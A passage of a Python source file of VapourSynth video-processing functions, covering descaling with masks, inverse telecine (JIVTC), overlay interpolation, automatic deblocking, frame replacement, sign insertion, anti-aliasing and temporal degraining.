inflate=None, descale_kernel=None, kernel=None, kernely=None, kerneluv=None,\n taps=None, tapsy=None, tapsuv=None, a1=None, a2=None, a1y=None, a2y=None, a1uv=None, a2uv=None, b=None, c=None,\n chroma=None, yuv444=None, showmask=None, ow=None, oh=None):\n\n # Type checking\n kwargsdict = {'src': [src, (vs.VideoNode,)], 'w': [w, (int,)], 'h': [h, (int,)], 'thr': [thr, (int,)],\n 'expand': [expand, (int,)], 'inflate': [inflate, (int,)],'descale_kernel': [descale_kernel, (str,)],\n 'kernel': [kernel, (str,)], 'kernely': [kernely, (str,)], 'kerneluv': [kerneluv, (str,)],\n 'taps': [taps, (int,)], 'tapsy': [tapsy, (int,)], 'tapsuv': [tapsuv, (int,)], 'a1': [a1, (int, float)],\n 'a2': [a2, (int, float)], 'a1y': [a1y, (int, float)], 'a2y': [a2y, (int, float)],\n 'a1uv': [a1uv, (int, float)], 'a2uv': [a2uv, (int, float)], 'b': [b, (int, float)],\n 'c': [c, (int, float)], 'chroma': [chroma, (bool,)], 'yuv444': [yuv444, (bool,)],\n 'showmask': [showmask, (int,)], 'ow': [ow, (int,)], 'oh': [oh, (int,)]}\n\n for k, v in kwargsdict.items():\n if v[0] is not None and not isinstance(v[0], v[1]):\n raise TypeError('DescaleM: \"{variable}\" must be {types}!'\n .format(variable=k, types=' or '.join([TYPEDICT[t] for t in v[1]])))\n\n # Set defaults\n if thr is None:\n thr = 10\n if expand is None:\n expand = 1\n if inflate is None:\n inflate = 2\n if chroma is None:\n chroma = True\n if src.format.num_planes == 1:\n chroma = False\n if yuv444 is None:\n yuv444 = False\n if showmask is None:\n showmask = 0\n if descale_kernel is None:\n descale_kernel = 'bilinear'\n elif descale_kernel.lower().startswith('de'):\n descale_kernel = descale_kernel[2:]\n if kernely is None:\n kernely = kernel\n if kerneluv is None:\n kerneluv = kernel\n if tapsy is None:\n tapsy = taps\n if tapsuv is None:\n tapsuv = taps\n if a1y is None:\n a1y = a1\n if a2y is None:\n a2y = a2\n if a1uv is None:\n a1uv = a1\n if a2uv is None:\n a2uv = a2\n if ow is None:\n ow = w\n if oh is None:\n oh = h\n\n # Value checking\n if thr < 0 or thr > 0xFF:\n raise ValueError('DebilinearM: \"thr\" must be in the range of 0 and 255!')\n if showmask < 0 or showmask > 2:\n raise ValueError('DebilinearM: \"showmask\" must be 0, 1 or 2!')\n if yuv444 and not chroma:\n raise ValueError('DebilinearM: \"yuv444=True\" and \"chroma=False\" cannot be used at the same time!')\n\n src_w = src.width\n src_h = src.height\n\n bits = src.format.bits_per_sample\n sample_type = src.format.sample_type\n \n if sample_type == vs.INTEGER:\n maxvalue = (1 << bits) - 1\n thr = thr * maxvalue // 0xFF\n else:\n thr /= (235 - 16)\n\n # Resizing\n src_y = core.std.ShufflePlanes(src, planes=0, colorfamily=vs.GRAY)\n if chroma:\n src_u = core.std.ShufflePlanes(src, planes=1, colorfamily=vs.GRAY)\n src_v = core.std.ShufflePlanes(src, planes=2, colorfamily=vs.GRAY)\n\n dbi = Resize(src_y, w, h, kernel=descale_kernel, a1=b, a2=c, taps=taps, invks=True)\n dbi2 = Resize(dbi, src_w, src_h, kernel=descale_kernel, a1=b, a2=c, taps=taps)\n if (w, h) != (ow, oh):\n dbi = Resize(dbi, ow, oh, kernel=kernely, taps=tapsy, a1=a1y, a2=a2y)\n\n if chroma and yuv444:\n rs = Resize(src_y, ow, oh, kernel=kernely, taps=tapsy, a1=a1y, a2=a2y)\n rs_u = Resize(src_u, ow, oh, kernel=kerneluv, taps=tapsuv, a1=a1uv, a2=a2uv, sx=0.25)\n rs_v = Resize(src_v, ow, oh, kernel=kerneluv, taps=tapsuv, a1=a1uv, a2=a2uv, sx=0.25)\n else:\n rs = Resize(src if chroma else src_y, ow, oh, kernel=kernely, taps=tapsy, a1=a1y, a2=a2y)\n\n # Masking\n diffmask = core.std.Expr([src_y, dbi2], 'x y - abs')\n if showmask != 2:\n diffmask = Resize(diffmask, ow, oh, kernel='bilinear')\n diffmask = core.std.Binarize(diffmask, threshold=thr)\n for _ in range(expand):\n diffmask = core.std.Maximum(diffmask, planes=0)\n for _ in range(inflate):\n diffmask = core.std.Inflate(diffmask, planes=0)\n\n if chroma:\n merged = core.std.ShufflePlanes([dbi,rs_u,rs_v] if yuv444 else [dbi,rs], planes=[0,0,0] if yuv444 else [0,1,2], colorfamily=vs.YUV)\n else:\n merged = dbi\n\n if showmask > 0:\n out = diffmask\n else:\n if yuv444:\n rs = core.std.ShufflePlanes([rs,merged], planes=[0,1,2], colorfamily=vs.YUV)\n out = core.std.MaskedMerge(merged, rs, diffmask, planes=0)\n\n return out\n\n\n# DescaleM alias\nDebilinearM = partial(DescaleM, descale_kernel='bilinear')\n\n# DescaleM alias\nDebicubicM = partial(DescaleM, descale_kernel='bicubic')\n\n# DescaleM alias\nDelanczosM = partial(DescaleM, descale_kernel='lanczos')\n\n# DescaleM alias\nDespline16M = partial(DescaleM, descale_kernel='spline16')\n\n# DescaleM alias\nDespline36M = partial(DescaleM, descale_kernel='spline36')\n\n\n\"\"\"\nWrapper for fmtconv to scale each plane individually to the same size and fix chroma shift\n\nWill only produce correct results if input is YUV420 or YUV422 with left aligned chroma\n\n\"\"\"\ndef Downscale444(clip, w=1280, h=720, kernely=\"spline36\", kerneluv=\"spline16\", tapsy=3, tapsuv=3, a1y=None,\n a1uv=None, a2y=None, a2uv=None, a3y=None, a3uv=None, invks=False, invkstaps=None):\n y = core.std.ShufflePlanes(clip, planes=0, colorfamily=vs.GRAY)\n u = core.std.ShufflePlanes(clip, planes=1, colorfamily=vs.GRAY)\n v = core.std.ShufflePlanes(clip, planes=2, colorfamily=vs.GRAY)\n y = Resize(y, w=w, h=h, kernel=kernely, taps=tapsy, a1=a1y, a2=a2y, a3=a3y, invks=invks, invkstaps=invkstaps)\n u = Resize(u, w=w, h=h, kernel=kerneluv, taps=tapsuv, a1=a1uv, a2=a2uv, a3=a3uv, sx=0.25)\n v = Resize(v, w=w, h=h, kernel=kerneluv, taps=tapsuv, a1=a1uv, a2=a2uv, a3=a3uv, sx=0.25)\n out = core.std.ShufflePlanes(clips=[y,u,v], planes=[0,0,0], colorfamily=vs.YUV)\n return out\n\n\n\"\"\"\nVapourSynth port of JIVTC.\nOriginal script by lovesyk (https://github.com/lovesyk/avisynth-scripts/blob/master/JIVTC.avsi)\n\nJIVTC applies inverse telecine in a way to minimize artifacts often seen on Japanese\nTV broadcasts followed by recalculating the fields that might still contain some.\n\nDependencies: yadifmod, nnedi3\n\nclip src: Source clip. Has to be 60i (30000/1001).\nint pattern: First frame of any clean-combed-combed-clean-clean sequence.\nint threshold (10): This setting controls with how much probability one field has to\n look better than the other to recalculate the other one using it.\n Since there is no point dropping a field on a still (detail loss)\n or an action (both results will look bad) scene, keep this above 0.\nbool draft (false): If set to true, skip recalculate step (which means keep 50% of bad fields).\nclip ivtced: Can be used to supply a custom IVTCed clip.\n Keep in mind that the default IVTC process gets rid of 50% of\n bad fields which might be \"restored\" depending on your supplied clip.\nstring bobber: Can be used to supply a custom bobber.\n The less information the bobber uses from the other field,\n the better the result will be.\nbool show (false): If set to true, mark those frames that were recalculated.\n\n\"\"\"\ndef JIVTC(src, pattern, thr=10, draft=False, ivtced=None, bobber=None, show=False, tff=None):\n\n def calculate(n, f, ivtced, bobbed):\n diffprev = f[0].props.EvenDiff\n diffnext = f[1].props.OddDiff\n if diffnext > diffprev:\n prerecalc = core.std.SelectEvery(bobbed, 2, 0)\n else:\n prerecalc = core.std.SelectEvery(bobbed, 2, 1)\n if abs(diffprev - diffnext) * 0xFF < thr:\n return ivtced\n if show:\n prerecalc = core.text.Text(prerecalc, 'Recalculated')\n return prerecalc\n\n pattern = pattern % 5\n\n defivtc = core.std.SeparateFields(src, tff=tff).std.DoubleWeave()\n selectlist = [[0,3,6,8], [0,2,5,8], [0,2,4,7], [2,4,6,9], [1,4,6,8]]\n defivtc = core.std.SelectEvery(defivtc, 10, selectlist[pattern])\n\n ivtced = defivtc if ivtced is None else ivtced\n if bobber is None:\n bobbed = core.yadifmod.Yadifmod(ivtced, edeint=core.nnedi3.nnedi3(ivtced, 2), order=0, mode=1)\n else:\n bobbed = bobber(ivtced)\n\n if src.fps_num != 30000 or src.fps_den != 1001:\n raise ValueError('JIVTC: This filter can only be used with 60i clips.')\n if bobbed.fps_num != 48000 or bobbed.fps_den != 1001:\n raise ValueError('JIVTC: The bobber you specified does not double the frame rate.')\n\n sep = core.std.SeparateFields(ivtced)\n even = core.std.SelectEvery(sep, 2, 0)\n odd = core.std.SelectEvery(sep, 2, 1)\n diffeven = core.std.PlaneStats(even, even.std.DuplicateFrames([0]), prop='Even')\n diffodd = core.std.PlaneStats(odd, odd.std.DeleteFrames([0]), prop='Odd')\n recalc = core.std.FrameEval(ivtced, partial(calculate, ivtced=ivtced, bobbed=bobbed),\n prop_src=[diffeven,diffodd])\n\n inter = core.std.Interleave([ivtced, recalc])\n selectlist = [[0,3,4,6], [0,2,5,6], [0,2,4,7], [0,2,4,7], [1,2,4,6]]\n final = core.std.SelectEvery(inter, 8, selectlist[pattern])\n\n out = ivtced if draft else final\n out = core.std.SetFrameProp(out, prop='_FieldBased', intval=0)\n return out\n\n\n\"\"\"\nVapourSynth port of OverlayInter\n\nBased on the AviSynth script by Majin3 and the already ported\nivtc_txt60mc by Firesledge that can be found inside havsfunc\n\nIt's much faster than ivtc_txt60mc because you can limit processing\nto a small part of the clip.\n\nOriginal Header:\n# OverlayInter 0.1 by Majin3 (06.09.2012)\n# Converts 60i overlays (like scrolling credits) on top of telecined 24p video to 24p using motion interpolation.\n# Required: MVTools2, QTGMC (if not using a custom bobber)\n# int\t\tpattern:\t\t\tFirst frame of a clean-combed-combed-clean-clean sequence\n# int\t\tpos (0):\t\t\tOverlay position: 0: whole screen - 1: left - 2: top - 3: right - 4: bottom\n# int\t\tsize (0):\t\t\tOverlay size in px from the corresponding position\n# bool\t\tshow (false):\t\tEnable this to show the area selected by \"pos\" and \"size\"\n# bool\t\tdraft (false):\t\tEnable this to speed up processing by using low-quality bobbing and motion interpolation\n# string\tbobber:\t\t\t\tA custom bobber if you do not wish to use \"QTGMC(Preset=\"Very Slow\", SourceMatch=2, Lossless=2)\"\n# string\tivtc:\t\t\t\tA custom IVTC if you do not wish to use simple IVTC based on \"pattern\"\n# Based on ivtc_txt60mc 1.1 by Firesledge\n\n\"\"\"\ndef OverlayInter(src, pattern, pos=0, size=0, show=False, draft=False, bobber=None, ivtc=None, tff=None):\n\n try:\n import havsfunc as haf\n except ImportError:\n raise ImportError('OverlayInter: havsfunc not found. Download it here: https://github.com/HomeOfVapourSynthEvolution/havsfunc')\n\n if bobber is None and not isinstance(tff, bool):\n raise TypeError('OverlayInter: \"tff\" must be set. Setting tff to True means top field first. False means bottom field first')\n\n field_ref = (pattern * 2) % 5\n invpos = (5 - field_ref) % 5\n pattern %= 5\n\n croplist = [[0,0,0,0], [size,0,0,0], [0,0,size,0], [0,size,0,0], [0,0,0,size]]\n keep = core.std.CropRel(src, *croplist[pos])\n\n croplist = [[0,0,0,0], [0,src.width-size-4,0,0], [0,0,0,src.height-size-4],\n [src.width-size-4,0,0,0], [0,0,src.height-size-4,0]]\n bobbed = core.std.CropRel(src, *croplist[pos])\n if draft:\n bobbed = haf.Bob(bobbed, tff=tff)\n elif bobber is None:\n bobbed = haf.QTGMC(bobbed, Preset='very slow', SourceMatch=3, Lossless=2, TFF=tff)\n else:\n bobbed = bobber(bobbed)\n\n if ivtc is None:\n ivtclist = [[0,3,6,8], [0,2,5,8], [0,2,4,7], [2,4,6,9], [1,4,6,8]]\n ivtc = keep.std.SeparateFields(tff=tff).std.DoubleWeave().std.SelectEvery(10, ivtclist[pattern])\n else:\n ivtc = ivtc(keep)\n\n if invpos > 1:\n clean = core.std.AssumeFPS(bobbed[0] + core.std.SelectEvery(bobbed, 5, [6 - invpos]),\n fpsnum=12000, fpsden=1001)\n else:\n clean = core.std.SelectEvery(bobbed, 5, [1 - invpos])\n if invpos > 3:\n jitter = core.std.AssumeFPS(bobbed[0] + core.std.SelectEvery(bobbed, 5, [4 - invpos, 8 - invpos]),\n fpsnum=24000, fpsden=1001)\n else:\n jitter = core.std.SelectEvery(bobbed, 5, [3 - invpos, 4 - invpos])\n\n jsup = core.mv.Super(jitter)\n vecsup = haf.DitherLumaRebuild(jitter, s0=1).mv.Super(rfilter=4)\n vectb = core.mv.Analyse(jsup if draft else vecsup, overlap=0 if draft else 4, blksize=16, isb=True)\n if not draft:\n vectb = core.mv.Recalculate(vecsup, vectb, blksize=8, overlap=2)\n vectf = core.mv.Analyse(jsup if draft else vecsup, overlap=0 if draft else 4, blksize=16, isb=False)\n if not draft:\n vectf = core.mv.Recalculate(vecsup, vectf, blksize=8, overlap=2)\n comp = core.mv.FlowInter(jitter, jsup, vectb, vectf)\n fixed = core.std.SelectEvery(comp, 2, 0)\n fixed = core.std.Interleave([clean,fixed])[invpos // 2:]\n\n croplist = [[0,0,0,0], [0,4,0,0], [0,0,0,4], [4,0,0,0], [0,0,4,0]]\n fixed = core.std.CropRel(fixed, *croplist[pos])\n\n if show:\n maxvalue = (1 << src.format.bits_per_sample) - 1\n offset = 32 * maxvalue // 0xFF if fixed.format.sample_type == vs.INTEGER else 32 / 0xFF\n fixed = core.std.Expr(fixed, ['','x {} +'.format(offset),''])\n\n if pos == 1:\n out = core.std.StackHorizontal([fixed,ivtc])\n elif pos == 2:\n out = core.std.StackVertical([fixed,ivtc])\n elif pos == 3:\n out = core.std.StackHorizontal([ivtc,fixed])\n elif pos == 4:\n out = core.std.StackVertical([ivtc,fixed])\n else:\n out = fixed\n out = core.std.SetFrameProp(out, prop='_FieldBased', intval=0)\n\n return out\n\n\n\"\"\"\nVapourSynth port of AutoDeblock2. Original script by joletb, vinylfreak89, eXmendiC and Gebbi.\n\nThe purpose of this script is to automatically remove MPEG2 artifacts.\n\nSupports 8..16 bit integer YUV formats\n\n\"\"\"\ndef AutoDeblock(src, edgevalue=24, db1=1, db2=6, db3=15, deblocky=True, deblockuv=True, debug=False, redfix=False,\n fastdeblock=False, adb1=3, adb2=4, adb3=8, adb1d=2, adb2d=7, adb3d=11, planes=None):\n\n try:\n import havsfunc as haf\n except ImportError:\n raise ImportError('AutoDeblock: havsfunc not found. Download it here: https://github.com/HomeOfVapourSynthEvolution/havsfunc')\n\n if src.format.color_family not in [vs.YUV]:\n raise TypeError(\"AutoDeblock: src must be YUV color family!\")\n\n if src.format.bits_per_sample < 8 or src.format.bits_per_sample > 16 or src.format.sample_type != vs.INTEGER:\n raise TypeError(\"AutoDeblock: src must be between 8 and 16 bit integer format\")\n\n # Scale values to handle high bit depths\n shift = src.format.bits_per_sample - 8\n edgevalue = edgevalue << shift\n maxvalue = (1 << src.format.bits_per_sample) - 1\n\n # Scales the output of PlaneStats (which is a float, 0-1) to 8 bit values.\n # We scale to 8 bit because all thresholds/parameters for this function are\n # specified in an 8-bit scale.\n # All processing still happens in the native bit depth of the input format.\n def to8bit(f):\n return f * 255\n\n def sub_props(src, f, name):\n\n OrigDiff_str = str(to8bit(f[0].props.OrigDiff))\n YNextDiff_str = str(to8bit(f[1].props.YNextDiff))\n return core.sub.Subtitle(src, name + f\"\\nOrigDiff: {OrigDiff_str}\\nYNextDiff: {YNextDiff_str}\")\n\n def eval_deblock_strength(n, f, fastdeblock, debug, unfiltered, fast, weakdeblock,\n mediumdeblock, strongdeblock):\n unfiltered = sub_props(unfiltered, f, \"unfiltered\") if debug else unfiltered\n out = unfiltered\n if fastdeblock:\n if to8bit(f[0].props.OrigDiff) > adb1 and to8bit(f[1].props.YNextDiff) > adb1d:\n return sub_props(fast, f, \"deblock\") if debug else fast\n else:\n return unfiltered\n if to8bit(f[0].props.OrigDiff) > adb1 and to8bit(f[1].props.YNextDiff) > adb1d:\n out = sub_props(weakdeblock, f, \"weakdeblock\") if debug else weakdeblock\n if to8bit(f[0].props.OrigDiff) > adb2 and to8bit(f[1].props.YNextDiff) > adb2d:\n out = sub_props(mediumdeblock, f, \"mediumdeblock\") if debug else mediumdeblock\n if to8bit(f[0].props.OrigDiff) > adb3 and to8bit(f[1].props.YNextDiff) > adb3d:\n out = sub_props(strongdeblock, f, \"strongdeblock\") if debug else strongdeblock\n return out\n\n def fix_red(n, f, unfiltered, autodeblock):\n if (to8bit(f[0].props.YAverage) > 50 and to8bit(f[0].props.YAverage) < 130\n and to8bit(f[1].props.UAverage) > 95 and to8bit(f[1].props.UAverage) < 130\n and to8bit(f[2].props.VAverage) > 130 and to8bit(f[2].props.VAverage) < 155):\n return unfiltered\n return autodeblock\n\n if redfix and fastdeblock:\n raise ValueError('AutoDeblock: You cannot set both \"redfix\" and \"fastdeblock\" to True!')\n\n if planes is None:\n planes = []\n if deblocky: planes.append(0)\n if deblockuv: planes.extend([1,2])\n\n orig = core.std.Prewitt(src)\n orig = core.std.Expr(orig, f\"x {edgevalue} >= {maxvalue} x ?\")\n orig_d = orig.rgvs.RemoveGrain(4).rgvs.RemoveGrain(4)\n\n predeblock = haf.Deblock_QED(src.rgvs.RemoveGrain(2).rgvs.RemoveGrain(2))\n fast = core.dfttest.DFTTest(predeblock, tbsize=1)\n\n unfiltered = src\n weakdeblock = core.dfttest.DFTTest(predeblock, sigma=db1, tbsize=1, planes=planes)\n mediumdeblock = core.dfttest.DFTTest(predeblock, sigma=db2, tbsize=1, planes=planes)\n strongdeblock = core.dfttest.DFTTest(predeblock, sigma=db3, tbsize=1, planes=planes)\n\n difforig = core.std.PlaneStats(orig, orig_d, prop='Orig')\n diffnext = core.std.PlaneStats(src, src.std.DeleteFrames([0]), prop='YNext')\n autodeblock = core.std.FrameEval(unfiltered, partial(eval_deblock_strength, fastdeblock=fastdeblock,\n debug=debug, unfiltered=unfiltered, fast=fast, weakdeblock=weakdeblock,\n mediumdeblock=mediumdeblock, strongdeblock=strongdeblock),\n prop_src=[difforig,diffnext])\n\n if redfix:\n src = core.std.PlaneStats(src, prop='Y')\n src_u = core.std.PlaneStats(src, plane=1, prop='U')\n src_v = core.std.PlaneStats(src, plane=2, prop='V')\n autodeblock = core.std.FrameEval(unfiltered, partial(fix_red, unfiltered=unfiltered,\n autodeblock=autodeblock), prop_src=[src,src_u,src_v])\n\n return autodeblock\n\n\n\"\"\"\nBasically a wrapper for std.Trim and std.Splice that recreates the functionality of\nAviSynth's ReplaceFramesSimple (http://avisynth.nl/index.php/RemapFrames)\nthat was part of the plugin RemapFrames by James D. Lin\n\nUsage: ReplaceFrames(clipa, clipb, mappings=\"[200 300] [1100 1150] 400 1234\")\n\nThis will replace frames 200..300, 1100..1150, 400 and 1234 from clipa with\nthe corresponding frames from clipb.\n\n\"\"\"\ndef ReplaceFrames(clipa, clipb, mappings=None, filename=None):\n\n if not isinstance(clipa, vs.VideoNode):\n raise TypeError('ReplaceFrames: \"clipa\" must be a clip!')\n if not isinstance(clipb, vs.VideoNode):\n raise TypeError('ReplaceFrames: \"clipb\" must be a clip!')\n if clipa.format.id != clipb.format.id:\n raise TypeError('ReplaceFrames: \"clipa\" and \"clipb\" must have the same format!')\n if filename is not None and not isinstance(filename, str):\n raise TypeError('ReplaceFrames: \"filename\" must be a string!')\n if mappings is not None and not isinstance(mappings, str):\n raise TypeError('ReplaceFrames: \"mappings\" must be a string!')\n if mappings is None:\n mappings = ''\n\n if filename:\n with open(filename, 'r') as mf:\n mappings += '\\n{}'.format(mf.read())\n # Some people used this as separators and wondered why it wasn't working\n mappings = mappings.replace(',', ' ').replace(':', ' ')\n\n frames = re.findall('\\d+(?!\\d*\\s*\\d*\\s*\\d*\\])', mappings)\n ranges = re.findall('\\[\\s*\\d+\\s+\\d+\\s*\\]', mappings)\n maps = []\n for range_ in ranges:\n maps.append([int(x) for x in range_.strip('[ ]').split()])\n for frame in frames:\n maps.append([int(frame), int(frame)])\n\n for start, end in maps:\n if start > end:\n raise ValueError('ReplaceFrames: Start frame is bigger than end frame: [{} {}]'.format(start, end))\n if end >= clipa.num_frames or end >= clipb.num_frames:\n raise ValueError('ReplaceFrames: End frame too big, one of the clips has less frames: {}'.format(end)) \n\n out = clipa\n for start, end in maps:\n temp = clipb[start:end+1] \n if start != 0:\n temp = out[:start] + temp\n if end < out.num_frames - 1:\n temp = temp + out[end+1:]\n out = temp\n return out\n\n\n# ReplaceFrames alias\nReplaceFramesSimple = ReplaceFrames\n\n# ReplaceFrames alias\nrfs = ReplaceFrames\n\n\n\"\"\"\nThis overlays a clip onto another.\nDefault matrix for RGB -> YUV conversion is \"709\"\nUse \"601\" if you want to mimic AviSynth's Overlay()\noverlay should be a list of [video, mask] or a path string to an RGBA file\nIf you specifiy a clip instead then a mask with max value will be generated\n(RGBA videos opened by ffms2 with alpha=True are already such a list)\n\"\"\"\ndef InsertSign(clip, overlay, start, end=None, matrix='709'):\n\n if start < 0:\n raise ValueError('InsertSign: \"start\" must not be lower than 0!')\n if isinstance(overlay, str):\n overlay = core.ffms2.Source(overlay, alpha=True)\n if not isinstance(overlay, list):\n overlay = [overlay, None]\n if end is None:\n end = start + overlay[0].num_frames\n else:\n end += 1\n if end > clip.num_frames:\n end = clip.num_frames\n if start >= end:\n raise ValueError('InsertSign: \"start\" must be smaller than or equal to \"end\"!')\n if matrix == '601':\n matrix = '470bg'\n clip_cf = clip.format.color_family\n overlay_cf = overlay[0].format.color_family\n\n before = clip[:start] if start != 0 else None\n middle = clip[start:end]\n after = clip[end:] if end != clip.num_frames else None\n\n matrix_s = None\n matrix_in_s = None\n if clip_cf == vs.YUV and overlay_cf == vs.RGB:\n matrix_s = matrix\n if overlay_cf == vs.YUV and clip_cf == vs.RGB:\n matrix_in_s = matrix\n sign = core.resize.Spline36(overlay[0], clip.width, clip.height, format=clip.format.id,\n matrix_s=matrix_s, matrix_in_s=matrix_in_s,\n dither_type='error_diffusion')\n\n if overlay[1] is None:\n overlay[1] = core.std.BlankClip(sign, format=vs.GRAY8, color=255)\n mask = core.resize.Bicubic(overlay[1], clip.width, clip.height)\n mask = Depth(mask, bits=clip.format.bits_per_sample, range='full', range_in='full')\n\n middle = core.std.MaskedMerge(middle, sign, mask)\n\n out = middle\n if before is not None:\n out = before + out\n if after is not None:\n out = out + after\n return out\n\n\n\"\"\"\nDownscale only lineart with an inverted kernel and interpolate\nit back to its original resolution with NNEDI3.\n\nParts of higher resolution like credits are protected by a mask.\n\nBasic idea stolen from a script made by Daiz.\n\n\"\"\"\ndef DescaleAA(src, w=1280, h=720, thr=10, kernel='bilinear', b=1/3, c=1/3, taps=3,\n expand=3, inflate=3, showmask=False):\n\n try:\n import nnedi3_rpow2 as nnp2\n except ImportError:\n raise ImportError('DescaleAA: nnedi3_rpow2 not found. Download it here: https://gist.github.com/4re/342624c9e1a144a696c6')\n\n if kernel.lower().startswith('de'):\n kernel = kernel[2:]\n\n ow = src.width\n oh = src.height\n\n bits = src.format.bits_per_sample\n sample_type = src.format.sample_type\n \n if sample_type == vs.INTEGER:\n maxvalue = (1 << bits) - 1\n thr = thr * maxvalue // 0xFF\n else:\n maxvalue = 1\n thr /= (235 - 16)\n\n # Fix lineart\n src_y = core.std.ShufflePlanes(src, planes=0, colorfamily=vs.GRAY)\n deb = Resize(src_y, w, h, kernel=kernel, a1=b, a2=c, taps=taps, invks=True)\n sharp = nnp2.nnedi3_rpow2(deb, 2, ow, oh)\n thrlow = 4 * maxvalue // 0xFF if sample_type == vs.INTEGER else 4 / 0xFF\n thrhigh = 24 * maxvalue // 0xFF if sample_type == vs.INTEGER else 24 / 0xFF\n edgemask = core.std.Prewitt(sharp, planes=0)\n edgemask = core.std.Expr(edgemask, \"x {thrhigh} >= {maxvalue} x {thrlow} <= 0 x ? ?\"\n .format(thrhigh=thrhigh, maxvalue=maxvalue, thrlow=thrlow))\n if kernel == \"bicubic\" and c >= 0.7:\n edgemask = core.std.Maximum(edgemask, planes=0)\n sharp = core.resize.Point(sharp, format=src.format.id)\n\n # Restore true 1080p\n deb_upscale = Resize(deb, ow, oh, kernel=kernel, a1=b, a2=c, taps=taps)\n diffmask = core.std.Expr([src_y, deb_upscale], 'x y - abs')\n for _ in range(expand):\n diffmask = core.std.Maximum(diffmask, planes=0)\n for _ in range(inflate):\n diffmask = core.std.Inflate(diffmask, planes=0)\n\n mask = core.std.Expr([diffmask,edgemask], 'x {thr} >= 0 y ?'.format(thr=thr))\n mask = mask.std.Inflate().std.Deflate()\n out = core.std.MaskedMerge(src, sharp, mask, planes=0)\n\n if showmask:\n out = mask\n\n return out\n\n\n# Legacy DescaleAA alias\ndef ProtectedDebiXAA(src, w=1280, h=720, thr=10, expand=3, inflate=3,\n bicubic=False, b=1/3, c=1/3, showmask=False, bits=None):\n\n if bicubic:\n return DescaleAA(src, w=w, h=h, thr=thr, kernel='bicubic', b=b, c=c, taps=None,\n expand=expand, inflate=inflate, showmask=showmask)\n else:\n return DescaleAA(src, w=w, h=h, thr=thr, kernel='bilinear', b=None, c=None, taps=None,\n expand=expand, inflate=inflate, showmask=showmask)\n\n\n\"\"\"\nVapourSynth port of AviSynth's maa2 (https://github.com/AviSynth/avs-scripts)\n\nWorks on any bitdepth\n\n\"\"\"\ndef maa(src, mask=None, chroma=None, ss=None, aa=None, aac=None, show=None):\n\n try:\n import mvsfunc as mvf\n except ImportError:\n raise ImportError('maa: mvsfunc not found. Download it here: https://github.com/HomeOfVapourSynthEvolution/mvsfunc')\n\n def SangNomAA(src, ss=2.0, aa=48, aac=None):\n ss_w = round(src.width * ss / 4) * 4\n ss_h = round(src.height * ss / 4) * 4\n out = core.resize.Spline36(src, ss_w, ss_h).std.Transpose()\n out = core.sangnom.SangNom(out, aa=aa if aac is None else [aa, aac, aac]).std.Transpose()\n out = core.sangnom.SangNom(out, aa=aa if aac is None else [aa, aac, aac])\n out = core.resize.Spline36(out, src.width, src.height)\n return out\n\n # Type checking\n kwargsdict = {'src': [src, (vs.VideoNode,)], 'mask': [mask, (int,)], 'ss': [ss, (int, float)],\n 'aa': [aa, (int,)], 'aac': [aac, (int,)], 'show': [show, (bool,)]}\n\n for k, v in kwargsdict.items():\n if v[0] is not None and not isinstance(v[0], v[1]):\n raise TypeError('maa: \"{variable}\" must be {types}!'\n .format(variable=k, types=' or '.join([TYPEDICT[t] for t in v[1]])))\n\n # Set defaults\n if mask is None:\n mask = 1\n if chroma is None:\n chroma = False\n if ss is None:\n ss = 2.0\n if aa is None:\n aa = 48\n if aac is None:\n aac = aa - 8\n if show is None:\n show = False\n\n # Value checking\n if mask < -0xFF or mask > 1:\n raise ValueError('maa: \"mask\" must be between -255 and 1!')\n if ss <= 0:\n raise ValueError('maa: \"ss\" must be > 0!')\n\n bits = src.format.bits_per_sample\n sample_type = src.format.sample_type\n maxvalue = (1 << bits) - 1\n \n if sample_type == vs.INTEGER:\n mthresh = -mask * maxvalue // 0xFF if mask < 0 else 7 * maxvalue // 0xFF\n mthreshc = mthresh - 6 * maxvalue // 0xFF\n else:\n mthresh = -mask / 0xFF if mask < 0 else 7 / 0xFF\n mthreshc = mthresh - 6 / 0xFF\n\n if src.format.num_planes == 1:\n chroma = False\n\n if mask != 0:\n m = core.std.Sobel(mvf.GetPlane(src, 0))\n m = core.std.Binarize(m, mthresh)\n if chroma:\n mu = core.std.Sobel(mvf.GetPlane(src, 1))\n mu = core.std.Binarize(mu, mthreshc)\n mv = core.std.Sobel(mvf.GetPlane(src, 2))\n mv = core.std.Binarize(mv, mthreshc)\n m = core.std.ShufflePlanes([m,mu,mv], planes=[0,0,0], colorfamily=vs.YUV)\n if not chroma:\n c_aa = SangNomAA(mvf.GetPlane(src, 0), ss, aa)\n else:\n c_aa = SangNomAA(src, ss, aa, aac)\n\n if not chroma and src.format.num_planes != 1:\n c_aa = core.std.ShufflePlanes([c_aa, mvf.GetPlane(src, 1), mvf.GetPlane(src, 2)], planes=[0,0,0], colorfamily=vs.YUV)\n if mask == 0:\n out = c_aa\n elif show:\n out = m\n else:\n out = core.std.MaskedMerge(src, c_aa, m)\n return out\n\n\n\"\"\"\nVapourSynth port of TemporalDegrain (http://avisynth.nl/index.php/Temporal_Degrain)\n\n(only 8 bit YUV input)\n\nDifferences:\n\n- all keyword arguments are now lowercase\n- hq > 0 is not implemented\n- gpu=True is not implemented\n\n\"\"\"\ndef TemporalDegrain(input_, denoise=None, gpu=False, sigma=16, bw=16, bh=16, pel=2,\n blksize=8, ov=None, degrain=2, limit=255, sad1=400, sad2=300, hq=0):\n\n try:\n import havsfunc as haf\n except ImportError:\n raise ImportError('TemporalDegrain: havsfunc not found. Download it here: https://github.com/HomeOfVapourSynthEvolution/havsfunc')\n\n if not isinstance(input_, vs.VideoNode):\n raise TypeError('TemporalDegrain: \"input_\" must be a clip!')\n if denoise is not None and not isinstance(denoise, vs.VideoNode):\n raise TypeError('TemporalDegrain: \"denoise\" must be a clip!')\n if not isinstance(gpu, bool):\n raise TypeError('TemporalDegrain: \"gpu\" must be a bool!')\n if gpu:\n raise NotImplementedError('TemporalDegrain: \"gpu=True\" is not implemented!')\n if not isinstance(sigma, int):\n raise TypeError('TemporalDegrain: \"sigma\" must be an int!')\n if not isinstance(bw, int):\n raise TypeError('TemporalDegrain: \"bw\" must be an int!')\n if not isinstance(bh, int):\n raise TypeError('TemporalDegrain: \"bh\" must be an int!')\n if not isinstance(pel, int):\n raise TypeError('TemporalDegrain: \"pel\" must be an int!')\n if not isinstance(blksize, int):\n raise TypeError('TemporalDegrain: \"blksize\" must be an int!')\n if ov is not None and not isinstance(ov, int):\n raise TypeError('TemporalDegrain: \"ov\" must be an int!')\n if not isinstance(degrain, int):\n raise TypeError('TemporalDegrain: \"degrain\" must be an int!')\n if not isinstance(limit, int):\n raise 